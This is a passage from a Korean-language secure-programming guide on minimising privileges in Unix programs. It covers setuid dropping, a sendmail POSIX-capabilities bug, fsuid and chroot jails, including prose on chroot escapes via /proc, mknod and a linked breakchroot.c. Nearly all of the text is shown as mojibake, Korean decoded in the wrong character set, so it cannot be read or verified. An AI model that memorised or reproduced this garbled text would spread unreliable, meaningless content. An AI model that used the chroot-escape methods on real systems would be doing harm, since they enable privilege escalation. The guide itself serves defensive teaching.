¾ø´Ù¸é À̸¦ ´ç¿¬È÷ ÇØ¾ß ÇÑ´Ù. ·çÆ®¿¡¼­ ´Ù¸¥ ±ÇÇÑÀ¸·Î Ãà¼Ò½Ãų ¶§ gid ¸¦ ¿ì¼±ÀûÀ¸·Î º¯°æ½ÃÄÑ¾ß Çϸç ÀÌ·¸Áö ¾ÊÀº °æ¿ì ÀÛ¿ëÇÏÁö ¾Ê´Â´Ù´Â °ÍÀ» ÁÖ¸ñÇØ¶ó - ·çÆ® ±ÇÇÑÀ» ¹ö¸°´Ù¸é ´õ ÀÌ»ó º¯°æ ½Ãų ¼ö ¾øÀ» °ÍÀÌ´Ù.

ÀÌ·¯ÇÑ ÃÖ¼ÒÈ­¸¦ ¹æÇØÇϱâ À§ÇØ POSIX ´É·ÂÀ» »ç¿ëÇÏ´Â Àß ¾Ë·ÁÁø °ü·Ã ¹ö±×°¡ ÀÖÀ½À» ¾ð±ÞÇÏ´Â °ÍÀº °¡Ä¡°¡ ÀÖ´Ù. ÀÌ ¹ö±×´Â ¸®´ª½º Ä¿³Î 2.2.0 ¿¡¼­ 2.2.15 ¹× ¾Æ¸¶µµ POSIX ´É·ÂÀ» °®´Â ¸¹Àº ´Ù¸¥ À¯´Ð½º °è¿­ ½Ã½ºÅÛ¿¡ ¿µÇâÀ» ¹ÌÄ£´Ù. ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â http://www.securityfocus.com ÀÇ ¹ö±×Æ®·¢ id 1322 ¸¦ º¸¶ó. ´ÙÀ½Àº ¿ä¾àÀÌ´Ù:

POSIX ´É·ÂÀº ÃÖ±Ù ¸®´ª½º Ä¿³Î¿¡ ±¸ÇöµÇ¾ú´Ù. ÀÌ ´É·ÂÀº ±ÇÇÑÀ» °®´Â ÇÁ·Î¼¼½º°¡ ÇÒ ¼ö ÀÖ´Â °ÍÀ» ´õ¿í ¸í¹éÈ÷ Á¦¾îÇÒ ¼ö ÀÖ´Â ±ÇÇÑ Á¦¾îÀÇ Ãß°¡ÀûÀÎ ÇüÅ·Π¼¼°¡Áö ºñÆ® Çʵå·Î ±¸ÇöµÇ¾î Àִµ¥ °¢ ºñÆ®´Â ±ÇÇÑÀ» °®´Â ÇÁ·Î¼¼½º°¡ ¼öÇàÇÒ ¼ö Àִ ƯÁ¤ µ¿ÀÛÀ» ³ªÅ¸³½´Ù. ƯÁ¤ ºñÆ®¸¦ ¼³Á¤ÇÔÀ¸·Î½á ±ÇÇÑÀ» °®´Â ÇÁ·Î¼¼½ºÀÇ µ¿ÀÛÀÌ Á¦¾îµÉ ¼ö ÀÖ´Ù -- ´Ù¾çÇÑ ÇÔ¼öµé¿¡ ´ëÇØ ±×µéÀ» ÇÊ¿ä·Î ÇÏ´Â ÇÁ·Î±×·¥ÀÇ Æ¯Á¤ ºÎºÐ¿¡ ´ëÇØ¼­´Â Á¢±Ù Çã°¡¸¦ ¹ÞÀ» ¼ö ÀÖ´Ù. ÀÌ´Â º¸¾È Á¶Ä¡ÀÌ´Ù. ¹®Á¦´Â ´É·ÂÀÌ fork() execs ¿Í ÇÔ²² º¹»çµÈ´Ù´Â °ÍÀε¥ ÀÌ´Â ´É·ÂÀÌ ºÎ¸ð ÇÁ·Î¼¼½º¿¡ ÀÇÇØ ¼öÁ¤µÈ´Ù¸é ÀÛ¾÷ÀÌ ³¡³ªÁö ¾ÊÀº ä ´É·ÂÀÌ ³Ñ°ÜÁüÀ» ÀǹÌÇÑ´Ù. ÀÌ´Â ¼¼°¡Áö ºñÆ® ÇÊµå °¢°¢¿¡ ´É·ÂÀ» 0 À¸·Î ¼³Á¤ ( ¸ðµç ºñÆ®°¡ off ÀÓÀ» ÀǹÌ) ÇÑ ÈÄ ·çÆ® ±ÇÇÑÀ¸·Î ½ÇÇàµÈ °æ¿ì (¼¾µå¸ÞÀÏÀÌ ÇÏ´Â °Í°ú °°ÀÌ) À§ÇèÇÒ ¼ö ÀÖ´Â Äڵ带 ½ÇÇà½Ã۱â Àü¿¡ ±ÇÇÑÀ» Ãà¼Ò½ÃŰ·Á°í ÇÏ´Â setuid ÇÁ·Î±×·¥À» ½ÇÇà½ÃÅ´À¸·Î½á ¾Ç¿ëµÉ ¼ö ÀÖ´Ù. sendmail Àº setuid(getuid()) ¸¦ »ç¿ëÇØ¼­ ±ÇÇÑÀ» Ãà¼Ò½ÃŰ·Á°í ÇÒ ¶§ ±× ºñÆ® Çʵ忡 ±ÇÇÑ Ãà¼Ò¿¡ ÇÊ¿äÇÑ ´É·ÂÀ» °®Áö ¸øÇÏ°í ¹Ýȯ°ª °Ë»ç¾øÀÌ ½ÇÆÐÇÑ´Ù. sendmail Àº ½´ÆÛÀ¯Àú ±ÇÇÑÀ¸·Î °è¼Ó ½ÇÇàµÇ¸ç ·çÆ®·Î¼­ »ç¿ëÀÚÀÇ .forward ÆÄÀÏÀ» ½ÇÇà½ÃÄÑ ¿ÏÀüÇÑ ¼Õ»óÀ» ¾ß±âÇÑ´Ù.

sendmail ÀÌ »ç¿ëÇÏ´Â ÇѰ¡Áö Á¢±Ù ¹æ¹ýÀº setuid(getuid()) ÈÄ¿¡ setuid(0) ¸¦ ÇÏ·Á°í ÇÏ´Â °ÍÀÌ´Ù; ÀϹÝÀûÀ¸·Î ÀÌ´Â ½ÇÆÐÇØ¾ß ÇÑ´Ù. ¼º°øÇÑ´Ù¸é ÇÁ·Î±×·¥Àº ÁßÁöÇØ¾ß ÇÑ´Ù. ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â http://sendmail.net/?feed=000607linuxbug ¸¦ º¸¶ó. Àå±âÀûÀ¸·Î º¸¾ÒÀ» ¶§ ±âº»ÀûÀÎ ½Ã½ºÅÛÀ» °»½ÅÇÏ´Â °ÍÀÌ ´õ¿í ÁÁÀº Á¢±Ù ¹æ¹ýÀÓ¿¡µµ ºÒ±¸ÇÏ°í ´Ü±âÀûÀ¸·Î ÀÌ´Â ´Ù¸¥ ÇÁ·Î±×·¥¿¡¼­ ÁÁÀº °³³äÀÏ ¼ö ÀÖ´Ù.


6.3.3. ±ÇÇÑÀÌ ÇÊ¿äÇÑ ½Ã°£À» ÃÖ¼ÒÈ­ÇØ¶ó

ÇÁ·Î±×·¥ÀÌ ÇÊ¿äÇÒ ¶§¸¸ À¯È¿ÇÑ ±ÇÇÑÀ» °®À½À» º¸ÀåÇϱâ À§Çؼ­ setuid(2), seteuid(2) ¿Í °ü·Ã ÇÔ¼ö¸¦ »ç¿ëÇØ¶ó. À§¿¡ ¾ð±ÞÇßµíÀÌ »ç¿ëÀÚ ÀÔ·ÂÀ» ÇØ¼®ÇÏ´Â µ¿¾ÈÀº ±ÇÇÑÀÌ ±ÝÁöµÇµµ·Ï ´õ¿í ÀϹÝÀûÀ¸·Î´Â ±ÇÇÑÀÌ ½ÇÁ¦ ÇÊ¿äÇÒ ¶§¸¸ ±ÇÇÑÀÌ À¯È¿ÇÔÀ» º¸ÀåÇÏ°í ½ÍÀ» °ÍÀÌ´Ù. ¾î¶² ¹öÆÛ ¿À¹öÇÃ·Î¿ì °ø°ÝÀº ¼º°øÇÑ´Ù¸é ÇÁ·Î±×·¥À¸·Î ÇÏ¿©±Ý ÀÓÀÇÀÇ Äڵ带 ½ÇÇà½ÃŰ°Ô ÇÒ ¼ö ÀÖÀ¸¸ç ÄÚµå´Â ÀϽÃÀûÀ¸·Î Ãà¼ÒµÇ¾ú´ø ±ÇÇÑÀ» ´Ù½Ã ÀÌ¿ëÇÒ ¼ö ÀÖÀ½À» ÁÖ¸ñÇØ¶ó. µû¶ó¼­ °¡´ÉÇÑ ±ÇÇÑÀ» ¿ÏÀüÈ÷ Ãà¼Ò½ÃŰ´Â °ÍÀÌ ´Ã ´õ¿í ÁÁ´Ù. ´õ¿íÀÌ Çã°¡±ÇÀ» ÀϽÃÀûÀ¸·Î ±ÝÁöÇÏ´Â °ÍÀº ÇÁ·Î±×·¥ÀÌ ÆÄÀϳ»¿¡ ÀÛ¼ºÇÏÁö ¾ÊÀ¸·Á°í Çß´ø °ÍÀ» ÀÛ¼ºÇϵµ·Ï ³³µæ½ÃŰ´Â ±â¹ý°°Àº ¸ðµç Á¾·ùÀÇ °ø°ÝÀ» ¿¹¹æÇÑ´Ù. ÀÌ ±â¹ýÀº ¸¹Àº °ø°ÝÀ» ¿¡¹æÇϱ⠶§¹®¿¡ ÇÁ·Î±×·¥ÀÇ ¾î¶² ºÎºÐ¿¡¼­ ±ÇÇÑÀÇ ¿ÏÀü Ãà¼Ò¸¦ ÇÒ ¼ö ¾ø´Â °æ¿ì »ç¿ëÇÒ °¡Ä¡°¡ ÀÖ´Ù.


6.3.4. ±ÇÇÑÀÌ Çã°¡µÈ ¸ðµâÀ» ÃÖ¼ÒÈ­ÇØ¶ó

´ÜÁö ¾à°£ÀÇ ¸ðµâµé¿¡¸¸ ±ÇÇÑÀÌ Çã°¡µÈ´Ù¸é ±×µéÀÌ º¸¾ÈÀûÀÎÁö¸¦ °áÁ¤ÇÏ´Â °ÍÀº ´õ¿í ½±´Ù. À̸¦ ÇàÇÏ´Â ÇѰ¡Áö ¹æ¹ýÀº ÇϳªÀÇ ¸ðµâ·Î ÇÏ¿©±Ý ±ÇÇÑÀ» »ç¿ëÇÏ°Ô ÇÏ°í ±× ÈÄ À̸¦ Ãà¼ÒÇÏ´Â °ÍÀ¸·Î µû¶ó¼­ ÃßÈÄ È£ÃâµÇ´Â ´Ù¸¥ ¸ðµâÀÌ ±ÇÇÑÀ» ¿À¿ëÇÒ ¼ö ¾ø´Ù. ´Ù¸¥ Á¢±Ù ¹æ¹ýÀº º°°³ ½ÇÇà ÆÄÀÏ¿¡ º°°³ÀÇ ¸í·ÉÀ» °®´Â °ÍÀÌ´Ù; ÇÑ ¸í·ÉÀÌ ±ÇÇÑÀ» °®´Â »ç¿ëÀÚ (¿¹, ·çÆ®) ¸¦ À§ÇØ ¹æ´ëÇÑ ¾çÀÇ Å½ºÅ©¸¦ ¼öÇàÇÒ ¼ö ÀÖ´Â º¹ÀâÇÑ µµ±¸À̸ç ÇÑÆí ´Ù¸¥ µµ±¸´Â setuid ·Î ÀûÀº ¼öÀÇ ¸í·É ºÎºÐÁýÇÕ¸¸À» Çã¿ëÇÏ´Â ÀÛ°í ´Ü¼øÇÑ µµ±¸ÀÌ´Ù. ÀÛ°í ´Ü¼øÇÑ µµ±¸´Â ÀÔ·ÂÀÌ ¼ö¿ë °¡´ÉÇÑ ´Ù¾çÇÑ Á¶°ÇÀ» ÃæÁ·½ÃŰ´ÂÁö¸¦ °Ë»çÇÏ¸ç µû¶ó¼­ ÀÔ·ÂÀÌ ¼ö¿ë°¡´ÉÇÏ´Ù°í °áÁ¤ÇÏ¸é µ¥ÀÌŸ¸¦ º¹ÀâÇÑ µµ±¸·Î °Ç³×ÁØ´Ù. ÀÛ°í ´Ü¼øÇÑ µµ±¸°¡ ÀÔ·Â °Ë»ç¿Í º¹ÀâÇÑ µµ±¸·Î ¹«¾ùÀ» °Ç³×ÁÙ °ÍÀÎÁö¸¦ Á¦ÇÑÇϴ öÀúÇÑ ÀÛ¾÷À» ÇØ¾ßÇÔÀ» ÁÖ¸ñÇØ¶ó ±×·¸Áö ¾Ê´Ù¸é ÀÌ´Â °ø°Ý´çÇϱ⠽¬¿ï ¼ö ÀÖ´Ù. ÀÌ·¯ÇÑ Á¢±Ù ¹æ¹ýÀº ¸î°¡Áö ¹æ½ÄÀ¸·Î °èÃþÈ­ (layered) µÉ ¼ö Àִµ¥ ¿¹¸¦ µé¾î º¹ÀâÇÑ »ç¿ëÀÚ µµ±¸´Â ´ÙÀ½¿¡ ´Ù¸¥ º¹ÀâÇÑ ½Å·ÚµÈ µµ±¸·Î Á¤º¸¸¦ °Ç³×ÁÖ´Â ´Ü¼øÇÑ setuid "wrapping" ÇÁ·Î±×·¥ (ÀÔ·ÂÀÌ ¾ÈÀüÇÑ °ªÀÎÁö¸¦ °Ë»çÇÑ´Ù) À» È£ÃâÇÒ ¼ö ÀÖ´Ù. ÀÌ Á¢±Ù ¹æ¹ýÀº GUI ¿¡ ±âÃÊÇÑ ÇÁ·Î±×·¥¿¡ ƯÈ÷ µµ¿òÀÌ µÈ´Ù; GUI ºÎºÐÀ» ÀÏ¹Ý »ç¿ëÀÚ·Î ½ÇÇà½ÃŰ°í º¸¾È °ü·Ã ¿äûÀ» ½ÇÁ¦ ½ÇÇàÇÒ ¼ö Àִ Ưº° ±ÇÇÑÀ» °®´Â ´Ù¸¥ ÇÁ·Î±×·¥¿¡ ³Ñ°ÜÁà¶ó.

¾î¶² ¿î¿µÃ¼Á¦´Â ÇϳªÀÇ ÇÁ·Î¼¼½º¿¡ ´ÙÁß ½Å·Ú °èÃþ °³³äÀ» °®°í Àִµ¥ Multics' rings ÀÌ ÇÑ¿¹ÀÌ´Ù. Ç¥ÁØ À¯´Ð½º¿Í ¸®´ª½º´Â À̿Ͱ°Àº ½Ì±Û ÇÁ·Î¼¼½º³»¿¡¼­ ÇÔ¼ö¸¦ ÀÌ¿ëÇØ ´ÙÁß ½Å·Ú °èÃþÀ» ºÐ¸®ÇÏ´Â ¹æ¹ýÀ» °®°í ÀÖÁö ¾Ê´Ù; Ä¿³ÎÀÇ È£ÃâÀº ±ÇÇÑÀ» Áõ°¡½ÃŰÁö¸¸ ±×·¸Áö ¾ÊÀ¸¸é ÁÖ¾îÁø ÇÁ·Î¼¼½º´Â ÇϳªÀÇ ½Å·Ú ¼öÁØÀ» °®´Â´Ù. ¸®´ª½º¿Í ´Ù¸¥ À¯´Ð½º °è¿­ ½Ã½ºÅÛÀº ÇÁ·Î¼¼½º¸¦ °¢°¢ ´Ù¸¥ ±ÇÇÑÀ» °®´Â ´ÙÁß ÇÁ·Î¼¼½º·Î ºÐ±âÇÔÀ¸·Î½á ÀÌ ´É·ÂÀ» ¶§¶§·Î ¸ð»çÇÒ ¼ö ÀÖ´Ù. ÀÌ·¸°Ô Çϱâ À§ÇØ º¸¾ÈÀûÀÎ Åë½Å ä³Î (º¸Åë ¾ð³×ÀÓµå ÆÄÀÌÇÁ ¶Ç´Â ¾ð³×ÀÓµå ¼ÒÄÏÀÌ »ç¿ëµÈ´Ù) À» ¼³Á¤ÇÑ ÈÄ ´Ù¸¥ ÇÁ·Î¼¼½º·Î ºÐ±âÇÏ¿© °¢ ÇÁ·Î¼¼½º ±ÇÇÑÀ» °¡´ÉÇÑ ¸¹ÀÌ Ãà¼Ò½ÃÄѶó. ±×¸®°í ´Ü¼øÇÑ ÇÁ·ÎÅäÄÝÀ» »ç¿ëÇØ¼­ ´ú ½Å·ÚµÈ ÇÁ·Î¼¼½º·Î ÇÏ¿©±Ý ´õ¿í ½Å·ÚµÈ ÇÁ·Î¼¼½º·ÎºÎÅÍÀÇ µ¿ÀÛÀ» ¿äûÇϵµ·ÏÇÏ¸ç ´õ¿í ½Å·ÚµÈ ÇÁ·Î¼¼½º´Â ´ÜÁö Á¦ÇÑµÈ ¿äû¼ÂÀ» Áö¿øÇϵµ·Ï º¸ÀåÇØ¶ó.

ÀÌ´Â ÀÚ¹Ù 2 ¹× Fluke °¡ ÀåÁ¡À» °®´Â ºÐ¾ßÀε¥ ¿¹¸¦ µé¾î ÀÚ¹Ù 2 ´Â ´ÜÁö ƯÁ¤ ÆÄÀÏÀ» ¿­ ¼öÀÖ´Â Çã°¡±Ç°ú °°ÀÌ ¹Ì¼¼È­µÈ (fine-grained) Çã°¡±ÇÀ» ÁöÁ¤ÇÒ ¼ö ÀÖ´Ù. ±×·¯³ª ¹ü¿ë ¿î¿µÃ¼Á¦´Â ÀϹÝÀûÀ¸·Î ÇöÀç ÀÌ·¯ÇÑ ´É·ÂÀ» °®°í ÀÖÁö ¾Ê´Ù; ÀÌ´Â °¡±î¿î ¹Ì·¡¿¡´Â º¯ÇÒ ¼ö ÀÖ´Ù. ÀÚ¹Ù¿¡ ´ëÇÑ ´õ¿í ÀÚ¼¼ÇÑ Á¤º¸´Â 9.6절 ¸¦ º¸¶ó.


6.3.5. ±ÇÇÑÀ» Á¦ÇÑÇϱâ À§ÇØ FSUID »ç¿ëÀ» °í·ÁÇØ¶ó

°¢°¢ÀÇ ¸®´ª½º ÇÁ·Î¼¼½º´Â ÆÄÀϽýºÅÛ »ç¿ëÀÚ id (fsuid) ¿Í ÆÄÀϽýºÅÛ ±×·ì id (fsgid) ¶ó´Â ¸®´ª½º °íÀ¯ÀÇ µÎ°³ÀÇ »óŰªÀ» °®´Â´Ù. ÀÌ µÎ°ªÀº ÆÄÀϽýºÅÛ Çã°¡±ÇÀ» °Ë»çÇÒ ¶§ »ç¿ëµÇ´Âµ¥ ÀÓÀÇ »ç¿ëÀÚ¸¦ À§ÇÑ ÆÄÀÏ ¼­¹ö (NFS ¿Í °°Àº) ·Î ÀÛµ¿ÇÏ´Â ÇÁ·Î±×·¥À» ÀÛ¼ºÇÏ·Á¸é ÀÌ·¯ÇÑ ¸®´ª½º È®ÀåÀÇ »ç¿ëÀ» °í·ÁÇÒ ¼ö ÀÖ´Ù. ÀÌ È®ÀåÀ» »ç¿ëÇϱâ À§Çؼ­´Â ·çÆ® ±ÇÇÑÀ» º¸À¯ÇÏ´Â µ¿½Ã¿¡ ÀÏ¹Ý »ç¿ëÀÚ ´ë½Å ÆÄÀÏÀ» Á¢±ÙÇϱâ Àü¿¡ ´ÜÁö fsuid ¿Í fsgid ¸¦ º¯°æÇضó. ÀÌ È®ÀåÀº ¸Å¿ì À¯¿ëÇÏ¸ç ´Ù¸¥ (¾Æ¸¶ ÇÊ¿äÇÑ) ±ÇÇÑÀ» Á¦°ÅÇÏÁö ¾Ê°í¼­ ÆÄÀϽýºÅÛ Á¢±Ù ±ÇÇÑÀ» Á¦ÇÑÇÏ´Â ¸ÞÄ«´ÏÁòÀ» Á¦°øÇÑ´Ù. ´ÜÁö fsuid (euid ´Â ¾Æ´Ï´Ù) ¸¦ ¼³Á¤ÇÔÀ¸·Î½á Áö¿ª »ç¿ëÀÚ´Â ÇÁ·Î¼¼½º¿¡ ½Ã±×³ÎÀ» º¸³¾ ¼ö ¾ø´Ù. ¶ÇÇÑ ÀÌ·¯ÇÑ »óȲ¿¡¼­ °æÀï »óÅ´ ´õ¿í ½±°Ô ÇÇÇØÁø´Ù. ±×·¯³ª ÀÌ·¯ÇÑ Á¢±Ù ¹æ¹ýÀÇ ´ÜÁ¡Àº ÀÌ·¯ÇÑ È£ÃâÀÌ ¸ðµç À¯´Ð½º °è¿­ ½Ã½ºÅÛÀ¸·Î À̽ÄÇÒ ¼ö ¾ø´Ù´Â °ÍÀÌ´Ù.


6.3.6. »ç¿ëÇÒ ¼ö ÀÖ´Â ÆÄÀÏÀ» ÃÖ¼ÒÈ­Çϱâ À§ÇØ Chroot »ç¿ëÀ» °í·ÁÇØ¶ó

chroot(2) ¸¦ »ç¿ëÇØ¼­ ÇÁ·Î±×·¥ÀÌ º¼ ¼ö ÀÖ´Â ÆÄÀÏÀ» Á¦ÇÑÇÒ ¼ö ÀÖ´Ù. ÀÌ´Â µð·ºÅ丮¸¦ ÁÖÀDZí°Ô ¼³Á¤Çϰí (choot jail À̶ó°í ºÒ¸°´Ù) µð·ºÅ丮¿¡ Á¤È®ÇÏ°Ô µé¾î°¡¾ß ÇÔÀ» ¿äÇÑ´Ù. ÀÌ´Â ÇÁ·Î±×·¥ÀÇ º¸¾ÈÀ» Çâ»ó½ÃŰ´Â ¸Å¿ì È¿°úÀûÀÎ ±â¹ýÀÌ´Ù - º¼ ¼ö ¾ø´Â ÆÄÀÏÀ» ¹æÇØÇÏ´Â °ÍÀº ¾î·Æ´Ù. ±×·¯³ª ÀÌ´Â ÀüüÀûÀÎ °¡Á¤, ƯÈ÷ ÇÁ·Î±×·¥ÀÌ ·çÆ® ±ÇÇÑÀÌ ¾ø¾î¾ß ÇÑ´Ù´Â °¡Á¤¿¡ ÀÇÁ¸ÇÑ´Ù. ·çÆ® ±ÇÇÑÀ» ȹµæÇÒ ¾î¶°ÇÑ ¹æ¹ýµµ ¾ø¾î¾ß Çϸç chroot jail ÀÌ ÀûÀýÈ÷ ¼³Á¤µÇ¾î¾ß ÇÑ´Ù. ÀúÀÚ´Â ÀÌ ¹æ¹ýÀÌ ÀûÀýÇÑ °æ¿ì¿¡ chroot(2) ¸¦ »ç¿ëÇÒ °ÍÀ» ÃßõÇÏÁö¸¸ ÀÌ¿¡¸¸ ÀÇÁ¸ÇÏÁö¸¸ ¸¶¶ó; ´ë½Å À̸¦ °èÃþÈ­µÈ º¸È£¼ÂÀÇ ºÎºÐÀÌ µÇµµ·Ï ÇØ¶ó. ´ÙÀ½Àº chroot(2) »ç¿ë¿¡ ´ëÇÑ ¾à°£ÀÇ ÁÖÀǵéÀÌ´Ù:

  • ÇÁ·Î±×·¥ÀÌ Àüü ¸Ó½ÅÀ» ÅëÇØ °øÀ¯µÇ°í ÀÖ´Â ÆÄÀϽýºÅÛÀÌ ¾Æ´Ñ °´Ã¼¸¦ »ç¿ëÇÒ ¼ö ÀÖ´Ù (System V IPC °´Ã¼¿Í ³×Æ®¿öÅ© ¼ÒÄÏ). ¶ÇÇÑ ¸ðµç À¯´Ð½º °è¿­ ½Ã½ºÅÛÀº »ç¿ëÀÚ¸¦ ±¸ºÐÇÒ ¼ö Àֱ⠶§¹®¿¡ º°µµÀÇ ÁØ»ç¿ëÀÚ ¹×/¶Ç´Â ±×·ìÀ» »ç¿ëÇÏ´Â °ÍÀÌ ÃÖ¿ì¼±ÀÌ´Ù; ÀÌ´Â Àû¾îµµ ÆÄ±«µÈ ÇÁ·Î±×·¥ÀÌ ´Ù¸¥ ÇÁ·Î±×·¥¿¡ ¹ÌÄ¥ ¼ö ÀÖ´Â ¼ÕÇØ¸¦ Á¦ÇÑÇÒ °ÍÀÌ´Ù. ÇöÀç ¸®´ª½º¸¦ Æ÷ÇÔÇÏ¿© ´ëºÎºÐÀÇ À¯´Ð½º °è¿­ ½Ã½ºÅÛÀÌ »óÈ£ÀÛ¿ëÇϰí ÀÖ´Â ÇÁ·Î±×·¥À» ÀǵµÀûÀ¸·Î ºÐ¸®ÇÏÁö ¾ÊÀ» °ÍÀÓÀ» ÁÖ¸ñÇØ¶ó; ¾ÇÀÇÀÖ´Â ÇÁ·Î±×·¥ÀÌ »óÈ£ÀÛ¿ëÇÏ´Â °Í¿¡ ´ëÇØ °ÆÁ¤Çϰí ÀÖ´Ù¸é ¾î¶² °­Á¦ÀûÀÎ Á¢±Ù Á¦¾î¸¦ ±¸ÇöÇϰí/Çϰųª ¼û°ÜÁø ä³ÎÀ» Á¦ÇÑÇÏ´Â ½Ã½ºÅÛÀ» ¾òÀ» Çʿ䰡 ÀÖ´Ù.

  • ¿ÜºÎ ÆÄÀÏ¿¡ ´ëÇÑ ÆÄÀÏ ½Ã½ºÅÛ ±â¼úÀÚ¸¦ ÃßÈÄ »ç¿ëÇÏÁö ¾Ê´Â´Ù¸é À̵éÀÌ ¸ðµÎ ´ÝÈù °ÍÀ» È®ÀÎÇØ¶ó. ƯÈ÷ chroot jail ¿ÜºÎ µð·ºÅ丮¿¡ ¾î¶°ÇÑ ±â¼úÀÚµµ ¿­Áö ¸»°í ±×·¸Áö ¾Ê´Ù¸é À¯´Ð½º ¼ÒÄÏ ¶Ç´Â ¿¹Àü /proc ±¸Çö°ú °°ÀÌ ±â¼úÀÚ¸¦ ÁÙ ¼ö ÀÖ´Â »óȲÀ» ¼³Á¤Çضó. chroot jail ¿ÜºÎ µð·ºÅ丮¿¡ ´ëÇÑ ±â¼úÀÚ¸¦ ÇÁ·Î±×·¥¿¡°Ô Áشٸé ÀÌ´Â chroot jail À» ¹þ¾î³ª´Âµ¥ »ç¿ëµÉ ¼ö ÀÖ´Ù.

  • chroot jail Àº º¸¾ÈÀûÀ¸·Î ¼³Á¤µÇ¾î¾ß ÇÑ´Ù. ÀÏ¹Ý »ç¿ëÀÚÀÇ È¨ µð·ºÅ丮 (¶Ç´Â ÇϺΠµð·ºÅ丮) ¸¦ chroot jail ·Î »ç¿ëÇÏÁö ¸¶¶ó; º°µµ À§Ä¡ ¶Ç´Â ƯÈ÷ ÀÌ ¸ñÀûÀ¸·Î ÁغñÇØ ³õÀº Ȩ µð·ºÅ丮¸¦ »ç¿ëÇØ¶ó. ÀÌ µð·ºÅ丮¿¡ ÆÄÀÏÀÇ Àý´ëÀûÀÎ ÃÖ¼Ò¼ö¸¦ ¼³Á¤Çضó. ÀϹÝÀûÀ¸·Î ¿©·¯ºÐÀº /bin, /etc/, /lib ¹× ¾Æ¸¶ ÇÑ µÎ°³ ´Ù¸¥ µð·ºÅ丮 (ftp ¼­¹ö¶ó¸é /pub) ¸¦ °®°í ÀÖÀ» °ÍÀÌ´Ù. /bin ³»¿¡´Â chroot() ¸¦ ÇÑ ÈÄ ½ÇÇàÇÒ Çʿ䰡 ÀÖ´Â °Íµé¸¸ ³õ¾Æ¶ó; ¶§¶§·Î ¾Æ¹«°Íµµ Çʿ䰡 ¾øÀ» °ÍÀÌ´Ù (½©À» °Å±â¿¡ µÎÁö ¾ÊÀ¸·Á°í ÇØ¶ó ¹°·Ð ¾î¿ ¼ö ¾øÀÌ ³õÀ» ¼ö ÀÖ´Ù). ÆÄÀÏ ¸ñ·ÏÀÌ ¾î¶² Á¤È®ÇÑ À̸§À» º¸ÀÏ ¼ö ÀÖµµ·Ï /etc/passwd ¿Í /etc/group ¸¦ ÇÊ¿ä·Î ÇÒ ¼öµµ ÀÖÁö¸¸ ±×·¸´Ù¸é ½ÇÁ¦ ½Ã½ºÅÛ °ªÀ» Æ÷ÇÔÇÏÁö ¾Êµµ·Ï Çϰí È®½ÇÈ÷ ¸ðµç ÆÐ½º¿öµå¸¦ "*" ·Î ´ëÃ¼ÇØ¶ó.

    /lib ¿¡´Â ÇÊ¿äÇÑ °Í¸¸ ³õ¾Æ¶ó; ldd(1) ÇÁ·Î±×·¥À» »ç¿ëÇØ¼­ /bin ³»ÀÇ °¢ ÇÁ·Î±×·¥ÀÌ ÇÊ¿äÇÑ °ÍÀ» ãµµ·Ï ÁúÀÇÇϰí À̵鸸À» /lib ¿¡ ³õ¾Æ¶ó. ¸®´ª½º¿¡¼­´Â ¾Æ¸¶µµ ld-linux.so.2 ¿Í °°Àº ¾à°£ÀÇ ±âº»ÀûÀÎ ¶óÀ̺귯¸®°¡ ÇÊ¿äÇÏ¸ç ´õ ÀÌ»óÀº ÇÊ¿äÄ¡ ¾Ê´Ù. ´ë¾ÈÀ¸·Î ¸ðµç ÇÁ·Î±×·¥µéÀÌ µ¿Àû ÀûÀç ¶óÀ̺귯¸®¸¦ ÇÊ¿ä·Î ÇÏÁö ¾Êµµ·Ï ÇÁ·Î±×·¥À» Á¤ÀûÀ¸·Î ´Ù½Ã ÄÄÆÄÀÏÇØ¶ó.

    ÇÏµå ¸µÅ©¸¦ ÇÏ´Â ´ë½Å ¸ðµç ÆÄÀÏÀ» º¹»çÇØ¼­ ¿ÏÀüÈ÷ °®°í ÀÖ´Â °ÍÀÌ º¸Åë ´õ¿í Çö¸íÇÑ °ÍÀÌ´Ù; À̰ÍÀÌ ¾à°£ÀÇ ½Ã°£ ¹× ÇÏµå °ø°£À» ¼ÒºñÇÏÁö¸¸ chroot jail ¿¡ ´ëÇÑ °ø°ÝÀÌ Á¤±Ô ½Ã½ºÅÛ ÆÄÀÏ·Î ÀÚµ¿ÀûÀ¸·Î ÀüÆÄµÇÁö ¾Êµµ·Ï ±×·¸°Ô ÇØ¶ó. /proc ÆÄÀϽýºÅÛÀ» ¸¶¿îÆÃÇÏ´Â °ÍÀº (Áö¿øµÇ´Â ½Ã½ºÅÛ¿¡¼­) ÀϹÝÀûÀ¸·Î Çö¸íÇÏÁö ¾Ê´Ù. »ç½Ç chroot µÈ ÇÁ·Î±×·¥ÀÇ À̽ºÄÉÀÌÇÁ¸¦ Çã¿ëÇÒ ¼ö ÀÖ´Â ÁØ µð·ºÅ丮°¡ /proc ³»¿¡ ÀÖ¾ú±â ¶§¹®¿¡ ¸®´ª½º ¿¹Àü ¹öÀü (2.0.x ¹öÀü, 2.0.38 ¹öÀü±îÁö) ¿¡¼­´Â Àß ¾Ë·ÁÁø º¸¾È °áÇÔÀÌ¿´´Ù. ¸®´ª½º Ä¿³Î 2.2 ´Â ÀÌ ¾Ë·ÁÁø ¹®Á¦¸¦ ¼öÁ¤ÇßÁö¸¸ ´Ù¸¥ ¹®Á¦°¡ ÀÖÀ» ¼ö ÀÖÀ¸¸ç °¡´ÉÇÏ´Ù¸é ÀÌ·¸°Ô ÇÏÁö ¸¶¶ó.

  • Chroot ´Â ÇÁ·Î±×·¥ÀÌ ·çÆ® ±ÇÇÑÀ» ¾ò´Â´Ù¸é ½ÇÁ¦·Î È¿°úÀûÀÌÁö ¾Ê´Ù. ¿¹¸¦ µé¾î ÇÁ·Î±×·¥ÀÌ mknod(2) ¿Í °°Àº È£ÃâÀ» »ç¿ëÇØ¼­ ¹°¸® ¸Þ¸ð¸®¸¦ º¼ ¼ö ÀÖ´Â µð¹ÙÀ̽º ÆÄÀÏÀ» »ý¼ºÇÑ ÈÄ ÀÌ µð¹ÙÀ̽º ÆÄÀÏÀ» ÀÌ¿ëÇØ ¿øÇÏ´Â ±ÇÇÑÀ» ¾òÀ» ¼ö ÀÖµµ·Ï Ä¿³Î ¸Þ¸ð¸®¸¦ ¼öÁ¤ÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù. chroot ¸¦ ÀÌ¿ëÇØ¼­ ·çÆ® ÇÁ·Î±×·¥À» ÆÄ±«ÇÒ ¼ö ÀÖ´Â ´Ù¸¥ ¿¹´Â http://www.suid.edu/source/breakchroot.c 